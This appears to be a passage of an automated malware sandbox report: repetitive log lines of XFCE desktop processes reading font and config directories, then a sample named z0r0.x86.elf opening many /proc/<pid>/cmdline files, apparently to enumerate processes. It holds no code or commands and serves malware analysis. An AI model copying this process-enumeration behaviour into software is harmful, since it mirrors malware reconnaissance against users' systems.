Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/opentype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/X11/Type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/X11/encodings/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/X11/misc/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/X11/util/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/opentype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/opentype/mathjax/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/opentype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/Gargi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/Nakula/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/Navilu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/Sarai/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/dejavu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/droid/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/freefont/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/kacst/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/lao/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/lato/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/liberation/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/liberation2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/openoffice/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/padauk/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/pagul/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/samyak/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/sinhala/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/tlwg/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/type1/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/X11/encodings/large/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /home/saturnino/.cache	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /home/saturnino/.local	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /home/saturnino/.config	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /home/saturnino/.local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /home/saturnino/.fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/X11/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/cMap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/cmap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/opentype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/X11/Type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/X11/encodings/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/X11/misc/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/X11/util/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/opentype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/opentype/mathjax/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/opentype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/Gargi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/Nakula/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/Navilu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/Sarai/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/dejavu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/droid/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/freefont/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/kacst/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/lao/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/lato/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/liberation/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/liberation2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/openoffice/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/padauk/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/pagul/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/samyak/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/sinhala/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/tlwg/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/type1/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/X11/encodings/large/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5478)	Directory: /home/saturnino/.cache	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5478)	Directory: /home/saturnino/.local	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5478)	Directory: /home/saturnino/.config	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5478)	Directory: /home/saturnino/.config	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5488)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5488)	Directory: /home/saturnino/.cache	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5488)	Directory: /home/saturnino/.local	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5488)	Directory: /home/saturnino/.config	Jump to behavior

Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/3122/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/3117/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/3114/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/3631/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/518/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/519/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/5430/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/3134/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/3375/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/3132/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/3095/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/5391/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/1745/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/1866/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/884/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/1982/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/765/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/3246/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/767/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/1906/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/802/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/1748/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/5429/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/5285/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/5444/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/3420/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/1482/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/1480/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/1755/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/1238/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/1875/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/2964/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/3413/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/1751/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/1872/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/2961/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/1475/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/656/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/778/cmdline	Jump to behavior
Source: /tmp/z0r0.x86.elf (PID: 5448)	File opened: /proc/657/cmdline	Jump to behavior
